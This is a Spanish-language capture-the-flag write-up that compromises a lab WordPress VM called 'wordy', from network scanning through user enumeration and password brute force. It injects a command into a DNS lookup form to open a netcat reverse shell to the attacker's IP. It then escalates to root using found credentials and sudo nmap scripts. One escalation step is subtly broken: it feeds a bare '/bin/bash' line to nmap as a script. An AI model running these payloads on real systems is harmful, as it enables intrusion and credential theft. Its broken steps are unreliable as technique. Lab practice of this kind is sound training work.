Preparación del Entorno de Laboratorio
Importación de la Máquina Virtual
En el panel deVmware procedemos a seleccionar la opción de importar una máquina virtual existente. Es importante señalar que en algunos casos puede aparecer un mensaje de incompatibilidad relacionado con el archivo de configuración .vmx. Este problema se resuelve editando manualmente dicho archivo y ajustando la versión del producto VMware para que coincida con la instalada en el sistema.
Fase de Reconocimiento
Descubrimiento de Activos de Red
Comenzamos realizando un escaneo de la red local para identificar la dirección IP asignada a la máquina objetivo:
nmap -sn 192.168.108.0/24
Análisis de Puertos Abiertos
Una vez identificada la dirección IP, procedemos a escanear los puertos disponibles:
nmap -p- 192.168.108.142 -T4
El resultado revela dos servicios activos:
22/tcp open ssh
80/tcp open http
Enumeración de Servicios
Obtenemos información detallada sobre las versiones de los servicios detectados:
nmap 192.168.108.142 -p 22,80 -sV -sC -O --version-all
Servicios identificados:
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6
80/tcp open http Apache httpd 2.4.25
Detección del Sistema Operativo
El escaneo de fingerprints del sistema operativo indica:
OS details: Linux 3.2 - 4.9
CPE: cpe:/o:linux:linux_kernel:3
Exploración de Directorios Web
Utilizando herramientas de fuzzing para directorios ottenemos:
dirb http://192.168.108.142 /usr/share/wordlists/common.txt
Continuamos con dirsearch para mayor cobertura:
dirsearch -u http://192.168.108.142 -e php,html,txt
Directorios significativos descubiertos:
http://192.168.108.142/index.php
http://192.168.108.142/readme.html
http://192.168.108.142/license.txt
http://192.168.108.142/wp-login.php
http://192.168.108.142/wp-admin/
http://192.168.108.142/wp-content/
http://192.168.108.142/wp-includes/
Explotación del Servicio Web
Configuración de Resolución de Nombres
Al intentar acceder desde el navegador, la página no carga correctamente. Esto se debe a que el sitio utiliza hosts virtuales basados en nombres. Procedemos a configurar el archivo hosts del sistema.
Accedemos al archivo deHosts en Windows:
C:\Windows\System32\drivers\etc\hosts
Añadimos la siguiente entrada:
192.168.108.142 wordy
Es necesario limpiar la caché del navegador antes de probar nuevamente.
Identificación del CMS
El análisis de las rutas descubierto revela que el sitio web está construido sobre WordPress. El panel de acceso se encuentra en wp-login.php.
Enumeración de Usuarios
Primero verificamos la existencia del usuario admin mediante intentos de login básico. Posteriormente, utilizamos wpscan para una enumeración más exhaustiva:
wpscan --url http://wordy --enumerate u
Usuarios identificados:
admin
mark
graham
sarah
jens
Fuerza Bruta contra WordPress
Según las indicaciones del creador del desafío, existe una palabra clave específica que filter la lista de contraseñas. Extraemos las contraesñas relevantes:
grep k01 /usr/share/wordlists/rockyou.txt > passwords.txt
Ejecutamos el ataque de fuerza bruta:
wpscan --url http://wordy -U usuarios.txt -P passwords.txt
Credenciales válidas descubiertas:
Usuario: mark
Contraseña: helpdesk01
Obtención de Acceso al Sistema
Shell Inversa
Dentro del panel de administración, localizamos un formulario que permite realizar consultas DNS. Al probar la inyección de comandos, verificamos que el parámetro es vulnerable.
El campo de entrada tiene restricciones de longitud. Modificamos el atributo maxlnegth mediante las herramientas de desarrollo del navegador o interceptando la petición con Burp Suite.
Configuramos un listener en nuestra máquina:
nc -lvnp 4444
Enviamos la payload maliciosa:
192.168.108.142; nc 192.168.108.128 4444 -e /bin/bash
Obtenemos conexión entrante. Mejoramos la shell para interacción completa:
python3 -c "import pty; pty.spawn('/bin/bash')"
Escalada de Privilegios
Exploración del Sistema de Archivos
Examinamos los directorioshome para encontrar información relevante:
ls -la /home/
Encontramos directorios correspondientes a los usuarios enumerated anteriormente. Accedemos al directorio de mark:
cd /home/mark
Dentro localizamos un subdirectorio llamado stuff. Su contenido revela:
Notas de trabajo:
graham tiene acceso con password: GSo7isUM1D4
Acceso como Usuario Graham
Conectamos mediante SSH utilizando las credenciales obtenidas:
ssh graham@192.168.108.142
Verificamos los permisos sudo disponibles:
sudo -l
Output indica que podemos ejecutar nmap como el usuario jens sin proporcionar contraseña.
Escalada a Usuario Jens
Escribimos un script que ejecute una shell:
echo '/bin/bash' > /tmp/privesc.sh
sudo -u jens nmap --script=/tmp/privesc.sh
Escalada a Root
Una vez como jens, verificamos nuevamente los permisos sudo:
sudo -l
Se permite ejecutar nmap como root sin contraseña. Procedemos con la escalada final:
echo "os.execute('/bin/bash')" > /tmp/root.sh
sudo nmap --script=/tmp/root.sh
Verificamos nuestro nuevo contexto:
whoami
root
La máquina ha sido comprometida completamente.